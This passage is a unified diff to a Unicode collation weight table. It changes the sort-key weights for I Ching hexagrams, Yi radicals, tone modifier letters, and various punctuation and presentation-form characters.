MOUTH CORNERS +4DDB ; [*0EA1.0020.0002] # HEXAGRAM FOR GREAT PREPONDERANCE +4DDC ; [*0EA2.0020.0002] # HEXAGRAM FOR THE ABYSMAL WATER +4DDD ; [*0EA3.0020.0002] # HEXAGRAM FOR THE CLINGING FIRE +4DDE ; [*0EA4.0020.0002] # HEXAGRAM FOR INFLUENCE +4DDF ; [*0EA5.0020.0002] # HEXAGRAM FOR DURATION +4DE0 ; [*0EA6.0020.0002] # HEXAGRAM FOR RETREAT +4DE1 ; [*0EA7.0020.0002] # HEXAGRAM FOR GREAT POWER +4DE2 ; [*0EA8.0020.0002] # HEXAGRAM FOR PROGRESS +4DE3 ; [*0EA9.0020.0002] # HEXAGRAM FOR DARKENING OF THE LIGHT +4DE4 ; [*0EAA.0020.0002] # HEXAGRAM FOR THE FAMILY +4DE5 ; [*0EAB.0020.0002] # HEXAGRAM FOR OPPOSITION +4DE6 ; [*0EAC.0020.0002] # HEXAGRAM FOR OBSTRUCTION +4DE7 ; [*0EAD.0020.0002] # HEXAGRAM FOR DELIVERANCE +4DE8 ; [*0EAE.0020.0002] # HEXAGRAM FOR DECREASE +4DE9 ; [*0EAF.0020.0002] # HEXAGRAM FOR INCREASE +4DEA ; [*0EB0.0020.0002] # HEXAGRAM FOR BREAKTHROUGH +4DEB ; [*0EB1.0020.0002] # HEXAGRAM FOR COMING TO MEET +4DEC ; [*0EB2.0020.0002] # HEXAGRAM FOR GATHERING TOGETHER +4DED ; [*0EB3.0020.0002] # HEXAGRAM FOR PUSHING UPWARD +4DEE ; [*0EB4.0020.0002] # HEXAGRAM FOR OPPRESSION +4DEF ; [*0EB5.0020.0002] # HEXAGRAM FOR THE WELL +4DF0 ; [*0EB6.0020.0002] # HEXAGRAM FOR REVOLUTION +4DF1 ; [*0EB7.0020.0002] # HEXAGRAM FOR THE CAULDRON +4DF2 ; [*0EB8.0020.0002] # HEXAGRAM FOR THE AROUSING THUNDER +4DF3 ; [*0EB9.0020.0002] # HEXAGRAM FOR THE KEEPING STILL MOUNTAIN +4DF4 ; [*0EBA.0020.0002] # HEXAGRAM FOR DEVELOPMENT +4DF5 ; [*0EBB.0020.0002] # HEXAGRAM FOR THE MARRYING MAIDEN +4DF6 ; [*0EBC.0020.0002] # HEXAGRAM FOR ABUNDANCE +4DF7 ; [*0EBD.0020.0002] # HEXAGRAM FOR THE WANDERER +4DF8 ; [*0EBE.0020.0002] # HEXAGRAM FOR THE GENTLE WIND +4DF9 ; [*0EBF.0020.0002] # HEXAGRAM FOR THE JOYOUS LAKE +4DFA ; [*0EC0.0020.0002] # HEXAGRAM FOR DISPERSION +4DFB ; [*0EC1.0020.0002] # HEXAGRAM FOR LIMITATION +4DFC ; [*0EC2.0020.0002] # HEXAGRAM FOR INNER TRUTH +4DFD ; [*0EC3.0020.0002] # HEXAGRAM FOR SMALL PREPONDERANCE +4DFE ; [*0EC4.0020.0002] # HEXAGRAM FOR AFTER COMPLETION +4DFF ; [*0EC5.0020.0002] # HEXAGRAM FOR BEFORE COMPLETION +A490 ; [*0F1D.0020.0002] # YI RADICAL QOT +A491 ; [*0F1E.0020.0002] # YI RADICAL LI +A492 ; [*0F1F.0020.0002] # YI RADICAL KIT +A493 ; [*0F20.0020.0002] # YI RADICAL NYIP +A494 ; [*0F21.0020.0002] # YI RADICAL CYP +A495 ; [*0F22.0020.0002] # YI RADICAL SSI +A496 ; [*0F23.0020.0002] # YI RADICAL GGOP +A497 ; [*0F24.0020.0002] # YI RADICAL GEP +A498 ; [*0F25.0020.0002] # YI RADICAL MI +A499 ; [*0F26.0020.0002] # YI RADICAL HXIT +A49A ; [*0F27.0020.0002] # YI RADICAL LYR +A49B ; [*0F28.0020.0002] # YI RADICAL BBUT +A49C ; [*0F29.0020.0002] # YI RADICAL MOP +A49D ; [*0F2A.0020.0002] # YI RADICAL YO +A49E ; [*0F2B.0020.0002] # YI RADICAL PUT +A49F ; [*0F2C.0020.0002] # YI RADICAL HXUO +A4A0 ; [*0F2D.0020.0002] # YI RADICAL TAT +A4A1 ; [*0F2E.0020.0002] # YI RADICAL GA +A4A2 ; [*0F2F.0020.0002] # YI RADICAL ZUP +A4A3 ; [*0F30.0020.0002] # YI RADICAL CYT +A4A4 ; [*0F31.0020.0002] # YI RADICAL DDUR +A4A5 ; [*0F32.0020.0002] # YI RADICAL BUR +A4A6 ; [*0F33.0020.0002] # YI RADICAL GGUO +A4A7 ; [*0F34.0020.0002] # YI RADICAL NYOP +A4A8 ; [*0F35.0020.0002] # YI RADICAL TU +A4A9 ; [*0F36.0020.0002] # YI RADICAL OP +A4AA ; [*0F37.0020.0002] # YI RADICAL JJUT +A4AB ; [*0F38.0020.0002] # YI RADICAL ZOT +A4AC ; [*0F39.0020.0002] # YI RADICAL PYT +A4AD ; [*0F3A.0020.0002] # YI RADICAL HMO +A4AE ; [*0F3B.0020.0002] # YI RADICAL YIT +A4AF ; [*0F3C.0020.0002] # YI RADICAL VUR +A4B0 ; [*0F3D.0020.0002] # YI RADICAL SHY +A4B1 ; [*0F3E.0020.0002] # YI RADICAL VEP +A4B2 ; [*0F3F.0020.0002] # YI RADICAL ZA +A4B3 ; [*0F40.0020.0002] # YI RADICAL JO +A4B4 ; [*0F41.0020.0002] # YI RADICAL NZUP +A4B5 ; [*0F42.0020.0002] # YI RADICAL JJY +A4B6 ; [*0F43.0020.0002] # YI RADICAL GOT +A4B7 ; [*0F44.0020.0002] # YI RADICAL JJIE +A4B8 ; [*0F45.0020.0002] # YI RADICAL WO +A4B9 ; [*0F46.0020.0002] # YI RADICAL DU +A4BA ; [*0F47.0020.0002] # YI RADICAL SHUR +A4BB ; [*0F48.0020.0002] # YI RADICAL LIE +A4BC ; [*0F49.0020.0002] # YI RADICAL CY +A4BD ; [*0F4A.0020.0002] # YI RADICAL CUOP +A4BE ; [*0F4B.0020.0002] # YI RADICAL CIP +A4BF ; [*0F4C.0020.0002] # YI RADICAL HXOP +A4C0 ; [*0F4D.0020.0002] # YI RADICAL SHAT +A4C1 ; [*0F4E.0020.0002] # YI RADICAL ZUR +A4C2 ; [*0F4F.0020.0002] # YI RADICAL SHOP +A4C3 ; [*0F50.0020.0002] # YI RADICAL CHE +A4C4 ; [*0F51.0020.0002] # YI RADICAL ZZIET +A4C5 ; [*0F52.0020.0002] # YI RADICAL NBIE +A4C6 ; [*0F53.0020.0002] # YI RADICAL KE +A4FE ; [*022D.0020.0002] # LISU PUNCTUATION COMMA +A4FF ; [*0282.0020.0002] # LISU PUNCTUATION FULL STOP +A60D ; [*022E.0020.0002] # VAI COMMA +A60E ; [*0283.0020.0002] # VAI FULL STOP +A60F ; [*026E.0020.0002] # VAI QUESTION MARK A670 ; [.0000.0000.0000] # COMBINING CYRILLIC TEN MILLIONS SIGN A671 ; [.0000.0000.0000] # COMBINING CYRILLIC HUNDRED MILLIONS SIGN A672 ; [.0000.0000.0000] # COMBINING CYRILLIC THOUSAND MILLIONS SIGN -A673 ; [*0393.0020.0002] # SLAVONIC ASTERISK -A67E ; [*03CA.0020.0002] # CYRILLIC KAVYKA -A6F2 ; [*02D7.0020.0002] # BAMUM NJAEMLI -A6F3 ; [*0287.0020.0002] # BAMUM FULL STOP -A6F4 ; [*025F.0020.0002] # BAMUM COLON -A6F5 ; [*0230.0020.0002] # BAMUM COMMA -A6F6 ; [*0238.0020.0002] # BAMUM SEMICOLON -A6F7 ; [*0271.0020.0002] # BAMUM QUESTION MARK -A700 ; [*04D0.0020.0002] # MODIFIER LETTER CHINESE TONE YIN PING -A701 ; [*04D1.0020.0002] # MODIFIER LETTER CHINESE TONE YANG PING -A702 ; [*04D2.0020.0002] # MODIFIER LETTER CHINESE TONE YIN SHANG -A703 ; [*04D3.0020.0002] # MODIFIER LETTER CHINESE TONE YANG SHANG -A704 ; [*04D4.0020.0002] # MODIFIER LETTER CHINESE TONE YIN QU -A705 ; [*04D5.0020.0002] # MODIFIER LETTER CHINESE TONE YANG QU -A706 ; [*04D6.0020.0002] # MODIFIER LETTER CHINESE TONE YIN RU -A707 ; [*04D7.0020.0002] # MODIFIER LETTER CHINESE TONE YANG RU -A708 ; [*04D8.0020.0002] # MODIFIER LETTER EXTRA-HIGH DOTTED TONE BAR -A709 ; [*04D9.0020.0002] # MODIFIER LETTER HIGH DOTTED TONE BAR -A70A ; [*04DA.0020.0002] # MODIFIER LETTER MID DOTTED TONE BAR -A70B ; [*04DB.0020.0002] # MODIFIER LETTER LOW DOTTED TONE BAR -A70C ; [*04DC.0020.0002] # MODIFIER LETTER EXTRA-LOW DOTTED TONE BAR -A70D ; [*04DD.0020.0002] # MODIFIER LETTER EXTRA-HIGH DOTTED LEFT-STEM TONE BAR -A70E ; [*04DE.0020.0002] # MODIFIER LETTER HIGH DOTTED LEFT-STEM TONE BAR -A70F ; [*04DF.0020.0002] # MODIFIER LETTER MID DOTTED LEFT-STEM TONE BAR -A710 ; [*04E0.0020.0002] # MODIFIER LETTER LOW DOTTED LEFT-STEM TONE BAR -A711 ; [*04E1.0020.0002] # MODIFIER LETTER EXTRA-LOW DOTTED LEFT-STEM TONE BAR -A712 ; [*04E2.0020.0002] # MODIFIER LETTER EXTRA-HIGH LEFT-STEM TONE BAR -A713 ; [*04E3.0020.0002] # MODIFIER LETTER HIGH LEFT-STEM TONE BAR -A714 ; [*04E4.0020.0002] # MODIFIER LETTER MID LEFT-STEM TONE BAR -A715 ; [*04E5.0020.0002] # MODIFIER LETTER LOW LEFT-STEM TONE BAR -A716 ; [*04E6.0020.0002] # MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR -A717 ; [*04E7.0020.0002] # MODIFIER LETTER DOT VERTICAL BAR -A718 ; [*04E8.0020.0002] # MODIFIER LETTER DOT SLASH -A719 ; [*04E9.0020.0002] # MODIFIER LETTER DOT HORIZONTAL BAR -A71A ; [*04EA.0020.0002] # MODIFIER LETTER LOWER RIGHT CORNER ANGLE -A71B ; [*04EB.0020.0002] # MODIFIER LETTER RAISED UP ARROW -A71C ; [*04EC.0020.0002] # MODIFIER LETTER RAISED DOWN ARROW -A71D ; [*04ED.0020.0002] # MODIFIER LETTER RAISED EXCLAMATION MARK -A71E ; [*04EE.0020.0002] # MODIFIER LETTER RAISED INVERTED EXCLAMATION MARK -A71F ; [*04EF.0020.0002] # MODIFIER LETTER LOW INVERTED EXCLAMATION MARK -A720 ; [*04F0.0020.0002] # MODIFIER LETTER STRESS AND HIGH TONE -A721 ; [*04F1.0020.0002] # MODIFIER LETTER STRESS AND LOW TONE -A788 ; [*04F2.0020.0002] # MODIFIER LETTER LOW CIRCUMFLEX ACCENT -A789 ; [*04F3.0020.0002] # MODIFIER LETTER COLON -A78A ; [*04F4.0020.0002] # MODIFIER LETTER SHORT EQUALS SIGN -A828 ; [*051F.0020.0002] # SYLOTI NAGRI POETRY MARK-1 -A829 ; [*0520.0020.0002] # SYLOTI NAGRI POETRY MARK-2 -A82A ; [*0521.0020.0002] # SYLOTI NAGRI POETRY MARK-3 -A82B ; [*0522.0020.0002] # SYLOTI NAGRI POETRY MARK-4 -A830 ; [*1AA2.0020.0002] # NORTH INDIC FRACTION ONE QUARTER -A831 ; [*1AA3.0020.0002] # NORTH INDIC FRACTION ONE HALF -A832 ; [*1AA4.0020.0002] # NORTH INDIC FRACTION THREE QUARTERS -A833 ; [*1AA5.0020.0002] # NORTH INDIC FRACTION ONE SIXTEENTH -A834 ; [*1AA6.0020.0002] # NORTH INDIC FRACTION ONE EIGHTH -A835 ; [*1AA7.0020.0002] # NORTH INDIC FRACTION THREE SIXTEENTHS -A836 ; [*0523.0020.0002] # NORTH INDIC QUARTER MARK -A837 ; [*0524.0020.0002] # NORTH INDIC PLACEHOLDER MARK -A839 ; [*0525.0020.0002] # NORTH INDIC QUANTITY MARK -A874 ; [*0428.0020.0002] # PHAGS-PA SINGLE HEAD MARK -A875 ; [*0429.0020.0002] # PHAGS-PA DOUBLE HEAD MARK -A876 ; [*0294.0020.0002] # PHAGS-PA MARK SHAD -A877 ; [*0295.0020.0002] # PHAGS-PA MARK DOUBLE SHAD -A8CE ; [*0290.0020.0002] # SAURASHTRA DANDA -A8CF ; [*0291.0020.0002] # SAURASHTRA DOUBLE DANDA +A673 ; [*038C.0020.0002] # SLAVONIC ASTERISK +A67E ; [*03C2.0020.0002] # CYRILLIC KAVYKA +A6F2 ; [*02D0.0020.0002] # BAMUM NJAEMLI +A6F3 ; [*0284.0020.0002] # BAMUM FULL STOP +A6F4 ; [*025E.0020.0002] # BAMUM COLON +A6F5 ; [*022F.0020.0002] # BAMUM COMMA +A6F6 ; [*0237.0020.0002] # BAMUM SEMICOLON +A6F7 ; [*026F.0020.0002] # BAMUM QUESTION MARK +A700 ; [*04B1.0020.0002] # MODIFIER LETTER CHINESE TONE YIN PING +A701 ; [*04B2.0020.0002] # MODIFIER LETTER CHINESE TONE YANG PING +A702 ; [*04B3.0020.0002] # MODIFIER LETTER CHINESE TONE YIN SHANG +A703 ; [*04B4.0020.0002] # MODIFIER LETTER CHINESE TONE YANG SHANG +A704 ; [*04B5.0020.0002] # MODIFIER LETTER CHINESE TONE YIN QU +A705 ; [*04B6.0020.0002] # MODIFIER LETTER CHINESE TONE YANG QU +A706 ; [*04B7.0020.0002] # MODIFIER LETTER CHINESE TONE YIN RU +A707 ; [*04B8.0020.0002] # MODIFIER LETTER CHINESE TONE YANG RU +A708 ; [*04B9.0020.0002] # MODIFIER LETTER EXTRA-HIGH DOTTED TONE BAR +A709 ; [*04BA.0020.0002] # MODIFIER LETTER HIGH DOTTED TONE BAR +A70A ; [*04BB.0020.0002] # MODIFIER LETTER MID DOTTED TONE BAR +A70B ; [*04BC.0020.0002] # MODIFIER LETTER LOW DOTTED TONE BAR +A70C ; [*04BD.0020.0002] # MODIFIER LETTER EXTRA-LOW DOTTED TONE BAR +A70D ; [*04BE.0020.0002] # MODIFIER LETTER EXTRA-HIGH DOTTED LEFT-STEM TONE BAR +A70E ; [*04BF.0020.0002] # MODIFIER LETTER HIGH DOTTED LEFT-STEM TONE BAR +A70F ; [*04C0.0020.0002] # MODIFIER LETTER MID DOTTED LEFT-STEM TONE BAR +A710 ; [*04C1.0020.0002] # MODIFIER LETTER LOW DOTTED LEFT-STEM TONE BAR +A711 ; [*04C2.0020.0002] # MODIFIER LETTER EXTRA-LOW DOTTED LEFT-STEM TONE BAR +A712 ; [*04C3.0020.0002] # MODIFIER LETTER EXTRA-HIGH LEFT-STEM TONE BAR +A713 ; [*04C4.0020.0002] # MODIFIER LETTER HIGH LEFT-STEM TONE BAR +A714 ; [*04C5.0020.0002] # MODIFIER LETTER MID LEFT-STEM TONE BAR +A715 ; [*04C6.0020.0002] # MODIFIER LETTER LOW LEFT-STEM TONE BAR +A716 ; [*04C7.0020.0002] # MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR +A717 ; [*04C8.0020.0002] # MODIFIER LETTER DOT VERTICAL BAR +A718 ; [*04C9.0020.0002] # MODIFIER LETTER DOT SLASH +A719 ; [*04CA.0020.0002] # MODIFIER LETTER DOT HORIZONTAL BAR +A71A ; [*04CB.0020.0002] # MODIFIER LETTER LOWER RIGHT CORNER ANGLE +A71B ; [*04CC.0020.0002] # MODIFIER LETTER RAISED UP ARROW +A71C ; [*04CD.0020.0002] # MODIFIER LETTER RAISED DOWN ARROW +A71D ; [*04CE.0020.0002] # MODIFIER LETTER RAISED EXCLAMATION MARK +A71E ; [*04CF.0020.0002] # MODIFIER LETTER RAISED INVERTED EXCLAMATION MARK +A71F ; [*04D0.0020.0002] # MODIFIER LETTER LOW INVERTED EXCLAMATION MARK +A720 ; [*04D1.0020.0002] # MODIFIER LETTER STRESS AND HIGH TONE +A721 ; [*04D2.0020.0002] # MODIFIER LETTER STRESS AND LOW TONE +A788 ; [*04D3.0020.0002] # MODIFIER LETTER LOW CIRCUMFLEX ACCENT +A789 ; [*04D4.0020.0002] # MODIFIER LETTER COLON +A78A ; [*04D5.0020.0002] # MODIFIER LETTER SHORT EQUALS SIGN +A828 ; [*04FF.0020.0002] # SYLOTI NAGRI POETRY MARK-1 +A829 ; [*0500.0020.0002] # SYLOTI NAGRI POETRY MARK-2 +A82A ; [*0501.0020.0002] # SYLOTI NAGRI POETRY MARK-3 +A82B ; [*0502.0020.0002] # SYLOTI NAGRI POETRY MARK-4 +A830 ; [*1A32.0020.0002] # NORTH INDIC FRACTION ONE QUARTER +A831 ; [*1A33.0020.0002] # NORTH INDIC FRACTION ONE HALF +A832 ; [*1A34.0020.0002] # NORTH INDIC FRACTION THREE QUARTERS +A833 ; [*1A35.0020.0002] # NORTH INDIC FRACTION ONE SIXTEENTH +A834 ; [*1A36.0020.0002] # NORTH INDIC FRACTION ONE EIGHTH +A835 ; [*1A37.0020.0002] # NORTH INDIC FRACTION THREE SIXTEENTHS +A836 ; [*0503.0020.0002] # NORTH INDIC QUARTER MARK +A837 ; [*0504.0020.0002] # NORTH INDIC PLACEHOLDER MARK +A839 ; [*0505.0020.0002] # NORTH INDIC QUANTITY MARK +A874 ; [*0411.0020.0002] # PHAGS-PA SINGLE HEAD MARK +A875 ; [*0412.0020.0002] # PHAGS-PA DOUBLE HEAD MARK +A876 ; [*0291.0020.0002] # PHAGS-PA MARK SHAD +A877 ; [*0292.0020.0002] # PHAGS-PA MARK DOUBLE SHAD +A8CE ; [*028D.0020.0002] # SAURASHTRA DANDA +A8CF ; [*028E.0020.0002] # SAURASHTRA DOUBLE DANDA A8E0 ; [.0000.0000.0000] # COMBINING DEVANAGARI DIGIT ZERO A8E1 ; [.0000.0000.0000] # COMBINING DEVANAGARI DIGIT ONE A8E2 ; [.0000.0000.0000] # COMBINING DEVANAGARI DIGIT TWO @@ -4014,71 +3981,71 @@ A8EE ; [.0000.0000.0000] # COMBINING DEVANAGARI LETTER PA A8EF ; [.0000.0000.0000] # COMBINING DEVANAGARI LETTER RA A8F0 ; [.0000.0000.0000] # COMBINING DEVANAGARI LETTER VI A8F1 ; [.0000.0000.0000] # COMBINING DEVANAGARI SIGN AVAGRAHA -A8F8 ; [*03E8.0020.0002] # DEVANAGARI SIGN PUSHPIKA -A8F9 ; [*03E9.0020.0002] # DEVANAGARI GAP FILLER -A8FA ; [*03EA.0020.0002] # DEVANAGARI CARET -A8FC ; [*03EB.0020.0002] # DEVANAGARI SIGN SIDDHAM -A92E ; [*042E.0020.0002] # KAYAH LI SIGN CWI -A92F ; [*0298.0020.0002] # KAYAH LI SIGN SHYA -A95F ; [*02D8.0020.0002] # REJANG SECTION MARK -A9C1 ; [*02CD.0020.0002] # JAVANESE LEFT RERENGGAN -A9C2 ; [*02CE.0020.0002] # JAVANESE RIGHT RERENGGAN -A9C3 ; [*02CF.0020.0002] # JAVANESE PADA ANDAP -A9C4 ; [*02D0.0020.0002] # JAVANESE PADA MADYA -A9C5 ; [*02D1.0020.0002] # JAVANESE PADA LUHUR -A9C6 ; [*02D2.0020.0002] # JAVANESE PADA WINDU -A9C7 ; [*025B.0020.0002] # JAVANESE PADA PANGKAT -A9C8 ; [*02A3.0020.0002] # JAVANESE PADA LINGSA -A9C9 ; [*02A4.0020.0002] # JAVANESE PADA LUNGSI -A9CA ; [*02D3.0020.0002] # JAVANESE PADA ADEG -A9CB ; [*02D4.0020.0002] # JAVANESE PADA ADEG ADEG -A9CC ; [*02D5.0020.0002] # JAVANESE PADA PISELEH -A9CD ; [*02D6.0020.0002] # JAVANESE TURNED PADA PISELEH -A9DE ; [*042F.0020.0002] # JAVANESE PADA TIRTA TUMETES -A9DF ; [*0430.0020.0002] # JAVANESE PADA ISEN-ISEN -AA5C ; [*0431.0020.0002] # CHAM PUNCTUATION SPIRAL -AA5D ; [*02A5.0020.0002] # CHAM PUNCTUATION DANDA -AA5E ; [*02A6.0020.0002] # CHAM PUNCTUATION DOUBLE DANDA -AA5F ; [*02A7.0020.0002] # CHAM PUNCTUATION TRIPLE DANDA -AA77 ; [*054D.0020.0002] # MYANMAR SYMBOL AITON EXCLAMATION -AA78 ; [*054E.0020.0002] # MYANMAR SYMBOL AITON ONE -AA79 ; [*054F.0020.0002] # MYANMAR SYMBOL AITON TWO -AADE ; [*03F1.0020.0002] # TAI VIET SYMBOL HO HOI -AADF ; [*03F2.0020.0002] # TAI VIET SYMBOL KOI KOI -AAF0 ; [*02A8.0020.0002] # MEETEI MAYEK CHEIKHAN -AAF1 ; [*0272.0020.0002] # MEETEI MAYEK AHANG KHUDAM -AB5B ; [*04F5.0020.0002] # MODIFIER BREVE WITH INVERTED BREVE -ABEB ; [*02A9.0020.0002] # MEETEI MAYEK CHEIKHEI -FB29 ; [*0616.0020.0005] # HEBREW LETTER ALTERNATIVE PLUS SIGN -FBB2 ; [*0502.0020.0002] # ARABIC SYMBOL DOT ABOVE -FBB3 ; [*0503.0020.0002] # ARABIC SYMBOL DOT BELOW -FBB4 ; [*0504.0020.0002] # ARABIC SYMBOL TWO DOTS ABOVE -FBB5 ; [*0505.0020.0002] # ARABIC SYMBOL TWO DOTS BELOW -FBB6 ; [*0506.0020.0002] # ARABIC SYMBOL THREE DOTS ABOVE -FBB7 ; [*0507.0020.0002] # ARABIC SYMBOL THREE DOTS BELOW -FBB8 ; [*0508.0020.0002] # ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS ABOVE -FBB9 ; [*0509.0020.0002] # ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS BELOW -FBBA ; [*050A.0020.0002] # ARABIC SYMBOL FOUR DOTS ABOVE -FBBB ; [*050B.0020.0002] # ARABIC SYMBOL FOUR DOTS BELOW -FBBC ; [*050C.0020.0002] # ARABIC SYMBOL DOUBLE VERTICAL BAR BELOW -FBBD ; [*050D.0020.0002] # ARABIC SYMBOL TWO DOTS VERTICALLY ABOVE -FBBE ; [*050E.0020.0002] # ARABIC SYMBOL TWO DOTS VERTICALLY BELOW -FBBF ; [*050F.0020.0002] # ARABIC SYMBOL RING -FBC0 ; [*0510.0020.0002] # ARABIC SYMBOL SMALL TAH ABOVE -FBC1 ; [*0511.0020.0002] # ARABIC SYMBOL SMALL TAH BELOW -FD3E ; [*0381.0020.0002] # ORNATE LEFT PARENTHESIS -FD3F ; [*0382.0020.0002] # ORNATE RIGHT PARENTHESIS -FDFD ; [*0501.0020.0002] # ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM -FE10 ; [*0222.0020.0016] # PRESENTATION FORM FOR VERTICAL COMMA -FE11 ; [*0231.0020.0016] # PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC COMMA -FE12 ; [*028A.0020.0016] # PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC FULL STOP -FE13 ; [*0239.0020.0016] # PRESENTATION FORM FOR VERTICAL COLON -FE14 ; [*0234.0020.0016] # PRESENTATION FORM FOR VERTICAL SEMICOLON -FE15 ; [*0260.0020.0016] # PRESENTATION FORM FOR VERTICAL EXCLAMATION MARK -FE16 ; [*0266.0020.0016] # PRESENTATION FORM FOR VERTICAL QUESTION MARK -FE17 ; [*037B.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET -FE18 ; [*037C.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET -FE19 ; [*0277.0020.0016][*0277.0020.0016][*0277.0020.0016] # PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS +A8F8 ; [*03D3.0020.0002] # DEVANAGARI SIGN PUSHPIKA +A8F9 ; [*03D4.0020.0002] # DEVANAGARI GAP FILLER +A8FA ; [*03D5.0020.0002] # DEVANAGARI CARET +A8FC ; [*03D6.0020.0002] # DEVANAGARI SIGN SIDDHAM +A92E ; [*0417.0020.0002] # KAYAH LI SIGN CWI +A92F ; [*0295.0020.0002] # KAYAH LI SIGN SHYA +A95F ; [*02D1.0020.0002] # REJANG SECTION MARK +A9C1 ; [*02C6.0020.0002] # JAVANESE LEFT RERENGGAN +A9C2 ; [*02C7.0020.0002] # JAVANESE RIGHT RERENGGAN +A9C3 ; [*02C8.0020.0002] # JAVANESE PADA ANDAP +A9C4 ; [*02C9.0020.0002] # JAVANESE PADA MADYA +A9C5 ; [*02CA.0020.0002] # JAVANESE PADA LUHUR +A9C6 ; [*02CB.0020.0002] # JAVANESE PADA WINDU +A9C7 ; [*025A.0020.0002] # JAVANESE PADA PANGKAT +A9C8 ; [*02A0.0020.0002] # JAVANESE PADA LINGSA +A9C9 ; [*02A1.0020.0002] # JAVANESE PADA LUNGSI +A9CA ; [*02CC.0020.0002] # JAVANESE PADA ADEG +A9CB ; [*02CD.0020.0002] # JAVANESE PADA ADEG ADEG +A9CC ; [*02CE.0020.0002] # JAVANESE PADA PISELEH +A9CD ; [*02CF.0020.0002] # JAVANESE TURNED PADA PISELEH +A9DE ; [*0418.0020.0002] # JAVANESE PADA TIRTA TUMETES +A9DF ; [*0419.0020.0002] # JAVANESE PADA ISEN-ISEN +AA5C ; [*041A.0020.0002] # CHAM PUNCTUATION SPIRAL +AA5D ; [*02A2.0020.0002] # CHAM PUNCTUATION DANDA +AA5E ; [*02A3.0020.0002] # CHAM PUNCTUATION DOUBLE DANDA +AA5F ; [*02A4.0020.0002] # CHAM PUNCTUATION TRIPLE DANDA +AA77 ; [*052D.0020.0002] # MYANMAR SYMBOL AITON EXCLAMATION +AA78 ; [*052E.0020.0002] # MYANMAR SYMBOL AITON ONE +AA79 ; [*052F.0020.0002] # MYANMAR SYMBOL AITON TWO +AADE ; [*03DC.0020.0002] # TAI VIET SYMBOL HO HOI +AADF ; [*03DD.0020.0002] # TAI VIET SYMBOL KOI KOI +AAF0 ; [*02A5.0020.0002] # MEETEI MAYEK CHEIKHAN +AAF1 ; [*0270.0020.0002] # MEETEI MAYEK AHANG KHUDAM +AB5B ; [*04D6.0020.0002] # MODIFIER BREVE WITH INVERTED BREVE +ABEB ; [*02A6.0020.0002] # MEETEI MAYEK CHEIKHEI +FB29 ; [*05F6.0020.0005] # HEBREW LETTER ALTERNATIVE PLUS SIGN +FBB2 ; [*04E3.0020.0002] # ARABIC SYMBOL DOT ABOVE +FBB3 ; [*04E4.0020.0002] # ARABIC SYMBOL DOT BELOW +FBB4 ; [*04E5.0020.0002] # ARABIC SYMBOL TWO DOTS ABOVE +FBB5 ; [*04E6.0020.0002] # ARABIC SYMBOL TWO DOTS BELOW +FBB6 ; [*04E7.0020.0002] # ARABIC SYMBOL THREE DOTS ABOVE +FBB7 ; [*04E8.0020.0002] # ARABIC SYMBOL THREE DOTS BELOW +FBB8 ; [*04E9.0020.0002] # ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS ABOVE +FBB9 ; [*04EA.0020.0002] # ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS BELOW +FBBA ; [*04EB.0020.0002] # ARABIC SYMBOL FOUR DOTS ABOVE +FBBB ; [*04EC.0020.0002] # ARABIC SYMBOL FOUR DOTS BELOW +FBBC ; [*04ED.0020.0002] # ARABIC SYMBOL DOUBLE VERTICAL BAR BELOW +FBBD ; [*04EE.0020.0002] # ARABIC SYMBOL TWO DOTS VERTICALLY ABOVE +FBBE ; [*04EF.0020.0002] # ARABIC SYMBOL TWO DOTS VERTICALLY BELOW +FBBF ; [*04F0.0020.0002] # ARABIC SYMBOL RING +FBC0 ; [*04F1.0020.0002] # ARABIC SYMBOL SMALL TAH ABOVE +FBC1 ; [*04F2.0020.0002] # ARABIC SYMBOL SMALL TAH BELOW +FD3E ; [*037A.0020.0002] # ORNATE LEFT PARENTHESIS +FD3F ; [*037B.0020.0002] # ORNATE RIGHT PARENTHESIS +FDFD ; [*04E2.0020.0002] # ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM +FE10 ; [*0221.0020.0016] # PRESENTATION FORM FOR VERTICAL COMMA +FE11 ; [*0230.0020.0016] # PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC COMMA +FE12 ; [*0287.0020.0016] # PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC FULL STOP +FE13 ; [*0238.0020.0016] # PRESENTATION FORM FOR VERTICAL COLON +FE14 ; [*0233.0020.0016] # PRESENTATION FORM FOR VERTICAL SEMICOLON +FE15 ; [*025F.0020.0016] # PRESENTATION FORM FOR VERTICAL EXCLAMATION MARK +FE16 ; [*0264.0020.0016] # PRESENTATION FORM FOR VERTICAL QUESTION MARK +FE17 ; [*0374.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET +FE18 ; [*0375.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET +FE19 ; [*0274.0020.0016][*0274.0020.0016][*0274.0020.0016] # PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS FE21 ; [.0000.0000.0000] # COMBINING LIGATURE RIGHT HALF FE23 ; [.0000.0000.0000] # COMBINING DOUBLE TILDE RIGHT HALF FE24 ; [.0000.0000.0000] # COMBINING MACRON LEFT HALF @@ -4090,31 +4057,31 @@ FE2B ; [.0000.0000.0000] # COMBINING MACRON LEFT HALF BELOW FE2C ; [.0000.0000.0000] # COMBINING MACRON RIGHT HALF BELOW FE2D ; [.0000.0000.0000] # COMBINING CONJOINING MACRON BELOW FE2F ; [.0000.0000.0000] # COMBINING CYRILLIC TITLO RIGHT HALF -FE30 ; [*0277.0020.0016][*0277.0020.0016] # PRESENTATION FORM FOR VERTICAL TWO DOT LEADER +FE30 ; [*0274.0020.0016][*0274.0020.0016] # PRESENTATION FORM FOR VERTICAL TWO DOT LEADER FE31 ; [*0216.0020.0016] # PRESENTATION FORM FOR VERTICAL EM DASH FE32 ; [*0215.0020.0016] # PRESENTATION FORM FOR VERTICAL EN DASH FE33 ; 